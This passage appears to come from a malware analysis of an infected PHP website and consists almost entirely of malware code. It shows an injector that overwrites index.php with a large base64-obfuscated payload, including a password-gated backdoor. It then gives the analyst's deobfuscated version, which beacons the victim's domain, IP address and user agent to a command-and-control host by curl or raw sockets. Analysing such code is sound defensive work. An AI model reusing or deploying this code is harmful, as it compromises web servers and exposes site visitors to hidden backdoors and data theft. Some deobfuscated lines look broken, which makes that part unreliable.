4NGZceDVmXHgzMFx4NWZceDRmXHg0Zlx4NWZceDMwXHgzMFx4NGYiXSgkT08wTzAwX09fXyk7JE9PXzBPTzAwX19fYXJyYXlbIlx4NjRceDYxXHg3NFx4NjEiXT0keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDMwXHg0Zlx4MzBceDVmXHgzMFx4NGZceDVmXHg1Zlx4NGYiXSgkT09fME9PMDBfX19hcnJheVsiXHg2NFx4NjFceDc0XHg2MSJdKTskT09fME9PMDBfX19hcnJheVsiXHg2OFx4NjVceDYxXHg2NFx4NjVceDcyXHg3MyJdPSRPTzBPMDBfT19fO3JldHVybiAkT09fME9PMDBfX19hcnJheTt9ZnVuY3Rpb24gT09PXzBPMF8wXygkT09fME9PMF9fMD0nJyl7JE9fT18wME8wX089T19PTzAwT19fMCgnSzhwUHlkS2k4cDFpdWpjcEtBRUEnKTtpZigkeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDVmXHg1Zlx4MzBceDRmXHgzMFx4NGZceDMwXHg1Zlx4NGYiXSgkT19PXzAwTzBfTykpe0AkeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDMwXHg1Zlx4MzBceDRmXHg0Zlx4NGZceDVmXHgzMFx4NWYiXSgkT19PXzAwTzBfTyk7fWlmKCRPT18wT08wX18wPT0nJyl7JE9PXzBPTzBfXzA9T19PTzAwT19fMCgnMDhzb1NEdVV4T1RpMFVwdUJnQT0nKTt9JE9PXzBPTzAwX189T19PTzAwT19fMCgnbFZGTnJjajVzd0VQeEJ2WmlQU0hCNGgwQ0RnUkRLUjdEQk4yd2FRN0FCbFFUQysvVkZJVTlwVDFWUHExbk43TXp1UmdjeVVJZyt6OWdCaGNxNTErZzljNFZCOGxwY1hLdG5kdHQ2Vi8zb0hjeUZRTFI0MEJrcE5MVUFKb0oyN2RwL1ZrNDZmNktwVlZNNEh5UGJoQ1YrQ0FhVXVvSmhIL0hlU0tRWVNSNkdSWjVjUzN2ZjVFMWRGOUpVS25zM2w2NWxNT20wSlRidUROYnpCWXI3NnFVSDNlcnZQcTVVM1FHQ2QrQ0ZSNnFHdjA2ZnhmekNOWUhLUUp0dFRxWHRiMnUrcnNUNk5zdXQ1Z0RQTTFIRi9jWFhtSzJBRXFJYlNkOGFwb1pMbVZ1QUxlOGV3Y2xRUVhONTZ2NTVodzE3a0N4VUJiekFqOUcrenROZmUzL1hqOUZCeURNMjIycTlqd2VWaVRqcnZMeGF2Uk1SeU5NM1cvaWkwdnpWRnpsVVZnT1ZHVCtyK2pHVFNHTlNBSkw1TlZNekhzeEQrcVhMT2pTUzFQcFo0bDI3L28xdGVXTWVwQlk5TytBUGJUaFJHWE0vdjZVSmNsQ0N3aXdIeEQ4ZjBJODRVNXhMdXE4RFhQd25QMzd6a2E5UXVHWnI5dE9XaFQ5LzREbTNVeDczUmdEZXUwZnlyODQrTTMnKTskT09fME9PMDBfXz1AJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHgzMFx4NGZceDMwXHg1Zlx4MzBceDRmXHg1Zlx4NWZceDRmIl0oJE9PXzBPTzAwX18pO2lmKCR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NWZceDVmXHgzMFx4NGZceDMwXHg0Zlx4MzBceDVmXHg0ZiJdKCRPT18wT08wX18wKSl7JE8wME9PXzBfT189JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg1Zlx4MzBceDMwXHg1Zlx4MzBceDRmXHg0Zlx4NWZceDRmIl0oJE9PXzBPTzBfXzApO2lmKCRPT18wT08wMF9fPT0kTzAwT09fMF9PXyl7cmV0dXJuO319QCR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4MzBceDRmXHg1Zlx4NWZceDVmXHg0Zlx4MzBceDRmXHgzMCJdKCRPT18wT08wX18wLDA3NzcpO0AkeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDVmXHgzMFx4NGZceDRmXHgzMFx4NGZceDMwXHg1Zlx4NWYiXSgkT09fME9PMF9fMCwkT09fME9PMDBfXyk7QCR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4MzBceDRmXHg1Zlx4NWZceDVmXHg0Zlx4MzBceDRmXHgzMCJdKCRPT18wT08wX18wLDA2NDQpO31mdW5jdGlvbiBPXzBPME9fXzBPKCRnb29nbGVVcmwsJE9fME8wT08wX18sJE9PTzBPX18wMF8peyRPT18wXzAwT19PPU9fT08wME9fXzAoJ3l5Z3BLdk1TaTIwdGRYTGRZdnlNeEx0eS9PTEVuTlRTeXdWUzBHaXFnUkJXQXdBPScpOyRPMDBPT19fT18wPXNwcmludGYoJE9PXzBfMDBPX08sJGdvb2dsZVVybCwkT09PME9fXzAwX1siXHg3MFx4NzJceDZmXHg3NFx4NmZceDYzXHg2Zlx4NmMiXSwkT09PME9fXzAwX1siXHg3M1x4NjVceDcyXHg3Nlx4NjVceDcyXHg1Zlx4NjRceDZmXHg2ZFx4NjFceDY5XHg2ZSJdLCRPXzBPME9PMF9fKTskT19PME9fMDBPXz1PX09PMF9PMF8wKCRPMDBPT19fT18wKTtpZihpc3NldCgkX1JFUVVFU1RbIlx4NzNceDc0Il0pKXskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDRmXHgzMFx4NWZceDRmXHg1Zlx4MzBceDRmXHg1Zlx4MzAiXSgkTzAwT09fX09fMCk7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg0Zlx4MzBceDVmXHg0Zlx4NWZceDMwXHg0Zlx4NWZceDMwIl0oJE9fTzBPXzAwT18pO2RpZSgpO30kT19fMDAwT09fTz1PX09PMDBPX18wKCdTOC9QVHBPODlWZ0pCUUE9Jyk7JE8wTzBfT08wX189T19PTzAwT19fMCgnS3k1TlRmY2s0aWh0TGdZQScpOyRPT19fME8wX08wPU9fT08wME9fXzAoJ1Mwdk16YnJFbFRxTkFRQT0nKTtpZigkeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDVmXHgzMFx4NGZceDMwXHg1Zlx4NGZceDMwXHg1Zlx4NGYiXSgkT19PME9fMDBPXywkT19fMDAwT09fTykhPWZhbHNlKXtkaWUoJE8wTzBfT08wX18pO31lbHNleyRPT18wXzAwT19PPU9fT08wME9fXzAoJ3l5Z3BLYkhiRFMxMWN0MWkvSXpFdTNMODRzU2MxTkxMQlZMUWFLcUJZT0JEQUE9PScpOyRPMDBPT19fT18wPXNwcmludGYoJE9PXzBfMDBPX08sJGdvb2dsZVVybCwkT09PME9fXzAwX1siXHg3MFx4NzJceDZmXHg3NFx4NmZceDYzXHg2Zlx4NmMiXSwkT09PME9fXzAwX1siXHg3M1x4NjVceDcyXHg3Nlx4NjVceDcyXHg1Zlx4NjRceDZmXHg2ZFx4NjFceDY5XHg2ZSJdLCRPXzBPME9PMF9fKTskT19PME9fMDBPXz1PX09PMF9PMF8wKCRPMDBPT19fT18wKTtpZigkeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDVmXHgzMFx4NGZceDMwXHg1Zlx4NGZceDMwXHg1Zlx4NGYiXSgkT19PME9fMDBPXywkT19fMDAwT09fTykhPWZhbHNlKXtkaWUoJE8wTzBfT08wX18pO31kaWUoJE9PX18wTzBfTzApO319ZnVuY3Rpb24gT19PMDBfME9PXygkT09fX18wTzAwTyl7JE9PTzBPX18wMF89YXJyYXkoKTskT09PME9fXzAwX1siXHg2NFx4NjVceDY2XHg2MVx4NzVceDZjXHg3NFx4NWZceDcwXHg2MVx4NzJceDYxXHg2ZFx4NzMiXT0kT09fX18wTzAwTzskT09PME9fXzAwX1siXHg2MVx4NzBceDY5Il09T19PME8wT18wXygkT09PME9fXzAwX1siXHg2NFx4NjVceDY2XHg2MVx4NzVceDZjXHg3NFx4NWZceDcwXHg2MVx4NzJceDYxXHg2ZFx4NzMiXSk7JE9PTzBPX18wMF9bIlx4NzNceDY1XHg3Mlx4NzZceDY1XHg3Mlx4NWZceDY0XHg2Zlx4NmRceDYxXHg2OVx4NmUiXT1PTzAwT19fMF9PKCk7JE9PTzBPX18wMF9bIlx4NzJceDY1XHg3MVx4NzVceDY1XHg3M1x4NzRceDVmXHg3NVx4NzJceDZjIl09JHsiXHg1Zlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1MiJ9WyJceDUyXHg0NVx4NTFceDU1XHg0NVx4NTNceDU0XHg1Zlx4NTVceDUyXHg0OSJdOyRPT08wT19fMDBfWyJceDcyXHg2NVx4NjZceDY1XHg3Mlx4NjVceDcyIl09aXNzZXQoJHsiXHg1Zlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1MiJ9WyJceDQ4XHg1NFx4NTRceDUwXHg1Zlx4NTJceDQ1XHg0Nlx4NDVceDUyXHg0NVx4NTIiXSk/JHsiXHg1Zlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1MiJ9WyJceDQ4XHg1NFx4NTRceDUwXHg1Zlx4NTJceDQ1XHg0Nlx4NDVceDUyXHg0NVx4NTIiXTonJzskT09PME9fXzAwX1siXHg3NVx4NzNceDY1XHg3Mlx4NWZceDYxXHg2N1x4NjVceDZlXHg3NCJdPWlzc2V0KCR7Ilx4NWZceDUzXHg0NVx4NTJceDU2XHg0NVx4NTIifVsiXHg0OFx4NTRceDU0XHg1MFx4NWZceDU1XHg1M1x4NDVceDUyXHg1Zlx4NDFceDQ3XHg0NVx4NGVceDU0Il0pPyR7Ilx4NWZceDUzXHg0NVx4NTJceDU2XHg0NVx4NTIifVsiXHg0OFx4NTRceDU0XHg1MFx4NWZceDU1XHg1M1x4NDVceDUyXHg1Zlx4NDFceDQ3XHg0NVx4NGVceDU0Il06Jyc7JE9PTzBPX18wMF9bIlx4NjlceDcwIl09TzAwT18wT09fXygpO2lmKGlzc2V0KCR7Ilx4NWZceDUzXHg0NVx4NTJceDU2XHg0NVx4NTIifVsiXHg0OFx4NTRceDU0XHg1MFx4NTMiXSkpeyRPT08wT19fMDBfWyJceDcwXHg3Mlx4NmZceDc0XHg2Zlx4NjNceDZmXHg2YyJdPU9fT08wME9fXzAoJ3l5Z3BLUFNTaTIwdGNTQ0hBQT09Jyk7fWVsc2V7JE9PTzBPX18wMF9bIlx4NzBceDcyXHg2Zlx4NzRceDZmXHg2M1x4NmZceDZjIl09T19PTzAwT19fMCgneXlncEt5cWJEUkJTMXdjQScpO31pZihpc3NldCgkeyJceDVmXHg1M1x4NDVceDUyXHg1Nlx4NDVceDUyIn1bIlx4NDhceDU0XHg1NFx4NTBceDVmXHg0MVx4NDNceDQzXHg0NVx4NTBceDU0XHg1Zlx4NGNceDQxXHg0ZVx4NDdceDU1XHg0MVx4NDdceDQ1Il0pKXskT09PME9fXzAwX1siXHg2Y1x4NjFceDZlXHg2N1x4NzVceDYxXHg2N1x4NjUiXT0keyJceDVmXHg1M1x4NDVceDUyXHg1Nlx4NDVceDUyIn1bIlx4NDhceDU0XHg1NFx4NTBceDVmXHg0MVx4NDNceDQzXHg0NVx4NTBceDU0XHg1Zlx4NGNceDQxXHg0ZVx4NDdceDU1XHg0MVx4NDdceDQ1Il07fWVsc2V7JE9PTzBPX18wMF9bIlx4NmNceDYxXHg2ZVx4NjdceDc1XHg2MVx4NjdceDY1Il09IiI7fWlmKGlzc2V0KCRfUkVRVUVTVFsiXHg3MFx4NjFceDcyXHg2MVx4NmRceDczIl0pKXskTzBfX09PMF8wTz1PX09PMDBPX18wKCdjODdQS1B3MG5OSzlFdHFTeEl0VW9zS01qSlRFNHN5Y3pQMDg4cXpzOFlMREFBPT0nKTtoZWFkZXIoJE8wX19PTzBfME8pO2lmKCR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NWZceDVmXHgzMFx4NWZceDRmXHg0Zlx4MzBceDMwXHg0ZiJdKCdqc29uX2VuY29kZScpKXtlY2hvICR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4MzBceDMwXHgzMFx4NWZceDVmXHg0Zlx4NGZceDRmXHg1ZiJdKCRPT08wT19fMDBfKTt9ZWxzZXskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDVmXHg0Zlx4MzBceDMwXHgzMFx4NGZceDVmXHg1Zlx4NGYiXSgkT09PME9fXzAwXyk7fWRpZSgpO31pZihpc3NldCgkX1JFUVVFU1RbIlx4NjRceDVmXHg3NFx4NjlceDZkXHg2NSJdKSl7ZGllKCcyMDIzLzEvMicpO31pZihpc3NldCgkX1JFUVVFU1RbIlx4NzBceDc3XHg2NFx4MzFceDM2XHgzMyJdKSl7aWYoJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHgzMFx4NGZceDVmXHg0Zlx4NGZceDMwXHg1Zlx4MzBceDVmIl0oJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg1Zlx4NWZceDRmXHgzMFx4MzBceDMwXHg1Zlx4NGZceDRmIl0oJF9SRVFVRVNUWyJceDcwXHg3N1x4NjRceDMxXHgzNlx4MzMiXSkpPT0iNmQ5NGY0Mzk5ZmM0M2MwMTJlMjJkNDU4ZmYwYjM4ZGIiKXskT08wX08wX19PMD0keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDMwXHg0Zlx4MzBceDVmXHgzMFx4NGZceDVmXHg1Zlx4NGYiXSgkeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDMwXHg1Zlx4NGZceDVmXHg0Zlx4MzBceDVmXHgzMFx4NGYiXSgoJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHg1Zlx4NGZceDMwXHg1Zlx4MzBceDRmXHg0Zlx4NWZceDMwIl0oJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHgzMFx4NWZceDRmXHg1Zlx4MzBceDRmXHgzMFx4NGZceDVmIl0oJF9SRVFVRVNUWyJceDdhXHg3YVx4N2EiXSkpKSkpOyRPXzBfME8wT19PPSR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4MzBceDRmXHgzMFx4NWZceDMwXHg0Zlx4NWZceDVmXHg0ZiJdKCJQRDl3YUhBPSIpO2lmKCR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NWZceDMwXHg0Zlx4MzBceDVmXHg0Zlx4MzBceDVmXHg0ZiJdKCRPTzBfTzBfX08wLCRPXzBfME8wT19PKT09PWZhbHNlKXskT08wX08wX19PMD0kT18wXzBPME9fTy5QSFBfRU9MLiRPTzBfTzBfX08wO31pZihpc3NldCgkX1JFUVVFU1RbIlx4NjUiXSkpeyRPTzBfTzBfX08wPSR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NGZceDVmXHgzMFx4NGZceDVmXHgzMFx4MzBceDRmXHg1ZiJdKCRPXzBfME8wT19PLCIiLCRPTzBfTzBfX08wKTskT09PTzBfMF9fMD0nZScuJHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDRmXHgzMFx4NGZceDMwXHg1Zlx4MzBceDRmXHg1Zlx4NWZceDRmIl0oImRtRT0iKS4nbCc7JE9PT08wXzBfXzAoJE9PMF9PMF9fTzApO2RpZSgpO30kT08wX09PMDBfXz0keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDMwXHg1Zlx4MzBceDRmXHg1Zlx4NGZceDMwXHg1Zlx4NGYiXSgpOyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NWZceDMwXHg1Zlx4NGZceDMwXHg1Zlx4NGZceDMwXHg0ZiJdKCRPTzBfT08wMF9fLCRPTzBfTzBfX08wKTskTzAwT19fME9PXz0keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDMwXHg0Zlx4NWZceDVmXHgzMFx4MzBceDRmXHg0Zlx4NWYiXSgkT08wX09PMDBfXyk7QHJlcXVpcmUoJE8wME9fXzBPT19bIlx4NzVceDcyXHg2OSJdKTskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDVmXHg1Zlx4NGZceDMwXHg0Zlx4MzBceDMwXHg1Zlx4NGYiXSgkT08wX09PMDBfXyk7ZGllKCk7fWlmKCR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4MzBceDRmXHg1Zlx4NGZceDRmXHgzMFx4NWZceDMwXHg1ZiJdKCRfUkVRVUVTVFsiXHg3MFx4NzdceDY0XHgzMVx4MzZceDMzIl0uImEhI18xMUFBIik9PSIyZjdhNzZmNzFmZjllMjRiZTdjMDAxNWZmOWNiODFkOCIpe2lmKGlzc2V0KCR7Ilx4NWZceDQ3XHg0NVx4NTQifVsiXHg3M1x4NjlceDc0XHg2NVx4NmRceDYxXHg3MCJdKSl7JE9fME8wT08wX189JHsiXHg1Zlx4NDdceDQ1XHg1NCJ9WyJceDczXHg2OVx4NzRceDY1XHg2ZFx4NjFceDcwIl07JE9PMF8wXzBfT089T19PTzAwT19fMCgnS3k4djFwazB2UHowL1BTZFZMenM4QVJGQUE9PScpO2lmKGlzc2V0KCR7Ilx4NWZceDQ3XHg0NVx4NTQifVsiXHg2N1x4NmZceDZmXHg2N1x4NmNceDY1XHg1Zlx4NzVceDcyXHg2YyJdKSl7JE9PMF8wXzBfT089JHsiXHg1Zlx4NDdceDQ1XHg1NCJ9WyJceDY3XHg2Zlx4NmZceDY3XHg2Y1x4NjVceDVmXHg3NVx4NzJceDZjIl07fU9fME8wT19fME8oJE9PMF8wXzBfT08sJE9fME8wT08wX18sJE9PTzBPX18wMF8pO319fU9PT18wTzBfMF8oKTskTzBfX18wT09PMD1hcnJheSgnZG9tYWluJz0+JE9PTzBPX18wMF9bIlx4NzNceDY1XHg3Mlx4NzZceDY1XHg3Mlx4NWZceDY0XHg2Zlx4NmRceDYxXHg2OVx4NmUiXSwncmVxdWVzdF91cmwnPT4kT09PME9fXzAwX1siXHg3Mlx4NjVceDcxXHg3NVx4NjVceDczXHg3NFx4NWZceDc1XHg3Mlx4NmMiXSwnaXAnPT4kT09PME9fXzAwX1siXHg2OVx4NzAiXSwnYWdlbnQnPT4kT09PME9fXzAwX1siXHg3NVx4NzNceDY1XHg3Mlx4NWZceDYxXHg2N1x4NjVceDZlXHg3NCJdLCdyZWZlcmVyJz0+JE9PTzBPX18wMF9bIlx4NzJceDY1XHg2Nlx4NjVceDcyXHg2NVx4NzIiXSwncHJvdG9jb2wnPT4kT09PME9fXzAwX1siXHg3MFx4NzJceDZmXHg3NFx4NmZceDYzXHg2Zlx4NmMiXSwnbGFuZ3VhZ2UnPT4kT09PME9fXzAwX1siXHg2Y1x4NjFceDZlXHg2N1x4NzVceDYxXHg2N1x4NjUiXSk7JE9PXzBPTzAwX189T19PTzBfTzBfMCgkT09PME9fXzAwX1siXHg2MVx4NzBceDY5Il0sMCwyLCRPMF9fXzBPT08wLGFycmF5KCksJE9PTzBPX18wMF9bIlx4NzNceDY1XHg3Mlx4NzZceDY1XHg3Mlx4NWZceDY0XHg2Zlx4NmRceDYxXHg2OVx4NmUiXSk7aWYoaXNzZXQoJF9SRVFVRVNUWyJceDY0XHg3NVx4NmRceDcwIl0pKXskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NGZceDRmXHgzMFx4NWZceDRmXHg1Zlx4MzBceDRmXHg1Zlx4MzAiXSgkT09fME9PMDBfXyk7JE9PXzBPTzAwX189T19PTzBfTzBfMCgiaHR0cDovL2dvb2dsZS5jby5qcCIpOyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg0Zlx4NGZceDMwXHg1Zlx4NGZceDVmXHgzMFx4NGZceDVmXHgzMCJdKCRPT18wT08wMF9fKTtkaWUoKTt9JE8wMF9PX09fTzA9TzBPX19PXzAwTygkT09fME9PMDBfXyk7aWYoJE8wMF9PX09fTzAhPT1mYWxzZSl7Zm9yZWFjaCgkTzAwX09fT19PMFsiXHg2OFx4NjVceDYxXHg2NFx4NjVceDcyXHg3MyJdIGFzICRPMF9fT08wXzBPKXtAaGVhZGVyKCRPMF9fT08wXzBPKTt9ZWNobyAkTzAwX09fT19PMFsiXHg2NFx4NjFceDc0XHg2MSJdO2RpZSgpO319T19PMDBfME9PXygkT09fX18wTzAwTyk7DQo/Pg==');
$index_length = strlen($content);
$path_array = [$path . 'index.html', $path . 'index.htm', $path . 'index.shtml'];
foreach ($path_array as $item) {
$old = $item . '.old';
if (file_exists($item))
{
$content .= PHP_EOL . file_get_contents($item);
rename($item, $old);
}
if (file_exists($old))
{
$content .= PHP_EOL . file_get_contents($old);
}
}
if (strlen($content) == $index_length)
{
$old_index = file_get_contents($path . 'index.php');
$old_index = preg_replace('/<\?php.+?(?<=\$[O0_xyz]{10}=).+?\?>/si', "", $old_index);
$content .= PHP_EOL . $old_index;
}
//echo $index_length . '|' . strlen($content) . '|';
@chmod($path . 'index.php', 0644);
@unlink($path . 'index.php');
$result = file_put_contents($path . 'index.php', $content);
if ($result == strlen($content))
{
echo 'write success';
}
echo '|<-}';

Of which, the long base64 encoded string at the top, gives us the infected version of index.php. Deobfuscating the output of this on the root /index.php gives us the following:

<?php
$c2_url = "http://3829-ch4-v26.zxckid.com";
function create_data_transmit_request($url, $should_use_sockets = 0, $http_method = 1, $request_obj = NULL, $arr = array(), $victim_domain = "s")
{
if (!preg_match("/^https*\\:\\/\\//si", $url)) {
if (isset(${"_GET"}["urlerr"])) {
$url_error = "[urlerror] invalid url:&nbsp;";
$url_error .= $url;
echo $url_error;
unset($url_error);
exit();
}
return '';
}
//
$possible_commands_str = "curl_init+curl_setopt+curl_exec|fsockopen|pfsockopen|stream_socket_client|socket_create";
$calling_function = '';
$maybe_data_str = '';
foreach (explode('|', $possible_commands_str) as $c) {
$does_possible_function_exist = 1;
if ($should_use_sockets && substr($c, 0, 1) == 'c') {
continue;
}
foreach (explode('+', $c) as $d) {
if (!function_exists($d)) {
$does_possible_function_exist = 0;
}
}
unset($d);
if ($does_possible_function_exist) {
$calling_function = $c;
break;
}
}
unset($possible_commands_str, $c);
if ($calling_function == '') {
return 0;
}
if (substr($calling_function, 0, 1) == 'c') { // calling function starts with c, so it must be a CURL request
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, $victim_domain);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 100);
curl_setopt($curl, CURLOPT_FRESH_CONNECT, TRUE);
if ($http_method == 2) {
curl_setopt($curl, CURLOPT_POST, 1);
if (is_array($request_obj)) {
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($request_obj));
}
}
$curl_result = curl_exec($curl);
curl_close($curl);
if (!$curl_result) {
if (isset(${"_GET"}["curlerr"])) {
$curl_error = "[curl error]&nbsp;";
$curl_error .= curl_error($curl);
echo $curl_error;
unset($curl_error);
exit();
}
return 0;
} else {
return $curl_result;
}
}
$url_params = print_r($url);
isset($url_params["host"]) || $url_params["host"] = '';
isset($url_params["path"]) || $url_params["path"] = '';
isset($url_params["query"]) || $url_params["query"] = '';
isset($url_params["port"]) || $url_params["port"] = '';
$url_path = $url_params["path"] ? $url_params["path"] . ($url_params["query"] ? '?' . $url_params["query"] : '') : '/';
$url_host = $url_params["host"];
if ($url_params["scheme"] == 'https') {
$http_version = '1.1';
$port = empty($url_params["port"]) ? 443 : $url_params["port"];
$url_host = "ssl://";
$url_host .= $url_params["host"];
} else {
$http_version = '1.0';
$port = empty($url_params["port"]) ? 80 : $url_params["port"];
}
$host_header = 'Host:';
$host_header .= $url_host;
$arr[] = $host_header;
$arr[] = "Connection:Close";
$arr[] = "User-Agent:" . $victim_domain;
$arr[] = "Accept:*/*";
unset($host_header);
if ($http_method == 2) {// POST
if (is_array($request_obj)) {
$request_obj = http_build_query($request_obj);
}
$arr[] = "Content-type:application/x-www-form-urlencoded";
$arr[] = "Content-Length:" . strlen($request_obj);
$maybe_data_str = "POST $url_path HTTP/$http_version" . PHP_EOL . join(PHP_EOL, $arr) . PHP_EOL . PHP_EOL . $request_obj;
unset($request_obj);
} else { // GET
$maybe_data_str = "GET $url_path HTTP/$http_version" . PHP_EOL . join(PHP_EOL, $arr) . PHP_EOL . PHP_EOL;
}
unset($arr, $url_params, $http_version, $url_path);
$sock_resource = null;
if (substr($calling_function, -1) == 'n') { // if the last character of the calling function is n then it's either fsockopen or pfsockopen
$sock_resource = pfsockopen($url_host, $port, $error_code, $error_message, 30);
} else {
if (substr($calling_function, -1) == 't') { // if the last character of the calling function is t then it's stream_socket_client
$sock_client_address = "tcp://";
$sock_client_address .= $url_host;
$sock_client_address .= ':';
$sock_client_address .= $port;
$sock_resource = stream_socket_client($sock_client_address, $error_code, $error_message, 30);
unset($sock_client_address);
}
}
$response = '';
if ($sock_resource) {
stream_set_blocking($sock_resource, TRUE);
is_array($sock_resource, 30);
fwrite($sock_resource, $maybe_data_str);
if (!$should_use_sockets) {
$stream_metadata = stream_get_meta_data($sock_resource);
if (!$stream_metadata["timed_out"]) {
while (!feof($sock_resource)) {
$sock_resource_get_str = fgets($sock_resource);
// %0D%0A = \r\n and %0A = \n
if ($sock_resource_get_str && (rawurlencode($sock_resource_get_str) == "%0D%0A" || rawurlencode($sock_resource_get_str) == "%0A")) {
break;
}
unset($sock_resource_get_str);
}
while (!feof($sock_resource)) {
$sock_resource_read_str = fread($sock_resource, 8192); // 8192 bytes = maybe pgp key?
$response .= $sock_resource_read_str;
unset($sock_resource_read_str);
}
}
unset($stream_metadata);
}
fclose($sock_resource);
} else {
if (substr($calling_function, -1) == 'e') { // if the last character of the calling function is e then it's socket_create
$trimmed_url_host = trim($url_host);
$sock_resource = socket_create(AF_INET, SOCK_STREAM, 0);
if (socket_connect($sock_resource, $trimmed_url_host, $port)) {
if (!$should_use_sockets) {
socket_write($sock_resource, $maybe_data_str, strlen($maybe_data_str));
while ($sock_read_response = @socket_read($sock_resource, 8192)) {
$response .= $sock_read_response;
unset($sock_read_response);
}
$response = explode("\\r\\n\\r\\n", $response);
array_shift($response);
$response = implode("\\r\\n\\r\\n", $response);
} else {
$rand_val_between_2_and_5 = mt_rand(2, 5); // random value between 2 and 5
$i = 0;
while ($i < $rand_val_between_2_and_5) {
socket_write($sock_resource, $maybe_data_str, strlen($maybe_data_str));
$i++;
sleep(mt_rand(50000, 100000)); // sleep for 50000-100000 seconds (~14hrs-27hrs)
}
unset($i, $rand_val_between_2_and_5);
}
}
socket_close($sock_resource);
unset($trimmed_url_host);
}
}
unset($maybe_data_str, $calling_function, $sock_resource, $port, $url_host);
if (!$should_use_sockets) {
$response = @preg_replace_callback('/(?:(?:\\r\\n|\\n)|^)([0-9A-F]+)(?:\\r\\n|\\n){1,2}(.*?)' . '((?:\\r\\n|\\n)(?:[0-9A-F]+(?:\\r\\n|\\n))|$)/si', 'hex_to_decimal', $response);
return trim(trim($response, "\\xEF\\xBB\\xBF"));
} else {
return 1;
}
}
function hex_to_decimal($matches)
{
return hexdec($matches[1]) == strlen($matches[2]) ? $matches[2] : $matches[0];
}
function get_ip_address($str_ip_address = '')
{
if (isset(${"_SERVER"})) {
if (isset(${"_SERVER"}["HTTP_X_FORWARDED_FOR"])) {
$str_ip_address = ${"_SERVER"}["HTTP_X_FORWARDED_FOR"];
} else if (isset(${"_SERVER"}["HTTP_CLIENT_IP"])) {
$str_ip_address = ${"_SERVER"}["HTTP_CLIENT_IP"];
} else {
$str_ip_address = ${"_SERVER"}["REMOTE_ADDR"];
}
} else {
if (getenv('HTTP_X_FORWARDED_FOR')) {
$str_ip_address = getenv('HTTP_X_FORWARDED_FOR');
} else if (getenv('HTTP_CLIENT_IP')) {
$str_ip_address = getenv('HTTP_CLIENT_IP');
} else {
$str_ip_address = getenv('REMOTE_ADDR');
}
}
return $str_ip_address;
}
function get_victim_domain($str_incoming = '')
{
if (isset(${"_SERVER"}["HTTP_HOST"])) {
return ${"_SERVER"}["HTTP_HOST"];
} elseif (isset(${"_SERVER"}["SERVER_NAME"])) {
return ${"_SERVER"}["SERVER_NAME"];
}
return $str_incoming;
}
function decode_transmission($transmit_response)
{
$transmit_response = @gzuncompress(base64_decode($transmit_response));
$split_response_by_pipe = @preg_split("/\\|/si", $transmit_response, -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($split_response_by_pipe)) {
return false;
}
if (count($split_response_by_pipe) < 2) {
return false;
}
$transmit_response_array["data"] = array_pop($split_response_by_pipe);
$transmit_response_array["data"] = base64_decode($transmit_response_array["data"]);
$transmit_response_array["headers"] = $split_response_by_pipe;
return $transmit_response_array;
}
